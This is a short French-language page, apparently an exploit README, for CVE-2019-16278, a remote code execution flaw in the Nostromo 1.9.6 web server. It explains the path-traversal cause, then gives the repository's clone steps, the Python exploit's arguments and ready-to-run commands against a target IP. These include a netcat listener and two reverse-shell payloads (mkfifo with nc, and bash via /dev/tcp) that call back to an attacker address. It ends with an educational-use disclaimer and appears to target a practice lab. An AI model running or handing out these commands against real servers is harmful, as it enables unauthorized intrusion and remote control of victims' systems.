
Un attaquant non authentifié peut forcer les points du serveur vers un fichier shell comme « /bin/sh » et exécuter des commandes arbitraires en raison de l’échec de la vérification de l’URL, ce qui conduit à un parcours de chemin vers tout fichier existant sur le système. Les versions de Nostromo telles que 1.9.6 ne parviennent pas à vérifier cette URL.
POC
Dépôt : https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
Ce dépôt contient un exploit Python pour CVE-2019-16278, une vulnérabilité dans Nostromo 1.9.6 (un serveur web). Cette vulnérabilité permet l'exécution de code à distance (Remote Code Execution - RCE) en exploitant un parcours de répertoire pour exécuter des commandes arbitraires sur le système cible.
git clone https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
cd CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution
### Étape 2 : Exécuter l'exploit
```bash
python3 CVE-2019-16278.py -t <IP_CIBLE> -p <PORT> -c "<COMMANDE>" [-b <OCTETS_A_LIRE>]
| Argument | Description | Requis | Défaut |
|---|---|---|---|
-t, --target | L'adresse IP de la cible | Oui | Aucun |
-p, --port | Le port de la cible | Oui | Aucun |
-c, --command | La commande à exécuter sur le serveur | Oui | Aucun |
-b, --bytes | Nombre d'octets à lire dans la réponse | Non | 4096 |
whoami sur la ciblepython3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "whoami"
Étape 1 : Démarrer un écouteur Netcat sur votre machine d'attaque :
nc -lvnp 443
Étape 2 : Exécuter l'exploit avec un payload de reverse shell :
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.5 443 > /tmp/f"
/dev/tcppython3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
Cet outil est destiné uniquement à des fins éducatives. Ne l'utilisez pas sur des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test. L'accès non autorisé à des systèmes est illégal. Utilisez-le de manière responsable.